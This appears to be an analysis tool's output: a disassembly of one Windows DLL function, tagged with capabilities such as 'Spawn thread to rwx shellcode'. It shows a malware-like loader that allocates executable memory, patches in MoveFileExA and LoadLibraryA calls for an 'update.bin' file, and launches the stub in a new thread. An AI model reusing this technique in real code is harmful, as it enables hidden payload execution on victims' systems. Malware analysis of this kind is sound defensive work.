Function at 0x10001fa5
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x119], al
mov byte [ebp - 0x109], 0xe8
mov byte [ebp - 0x10a], 0x90
mov eax, 0x10002226
mov dword [ebp - 0x118], eax
mov eax, 0x100021f2
sub dword [ebp - 0x118], eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp + 8]
mov dword [0x10006464], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
push 0x3000
push dword [ebp - 0x118]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x128], eax
push dword [ebp - 0x118]
push dword [ebp - 0x12c]
push dword [ebp - 0x128]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x110], eax
push 0x40
push 0x3000
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x124], eax
push 0x40
push 0x3000
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x120], eax
xor eax, eax
inc eax
imul eax, eax, 0x12
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x124]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x124]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
xor eax, eax
inc eax
imul eax, eax, 0x19
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x120]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x120]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
push str.update.bin
push 0x5c
pop edx
mov ecx, dword [ebp - 0x120]
call fcn.10001d9d
inc eax
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
pop ecx
pop ecx
xor eax, eax
inc eax
imul eax, eax, 0x26
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x124]
mov dword [ecx + eax], edx
xor eax, eax
inc eax
imul eax, eax, 0x1e
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x109]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x1e
add eax, dword [ebp - 0x110]
push eax
push dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x111]
call fcn.10002237
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x1f
mov edx, dword [ebp - 0x110]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x23
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x10a]
mov byte [ecx + eax], dl
xor eax, eax
inc eax
imul eax, eax, 0x2b
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x109]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x2b
add eax, dword [ebp - 0x110]
push eax
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x111]
call fcn.10002237
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x2c
mov edx, dword [ebp - 0x110]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x30
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x10a]
mov byte [ecx + eax], dl
push 0
push 0
push 0
push dword [ebp - 0x128]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10002226
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002914
leave
ret 4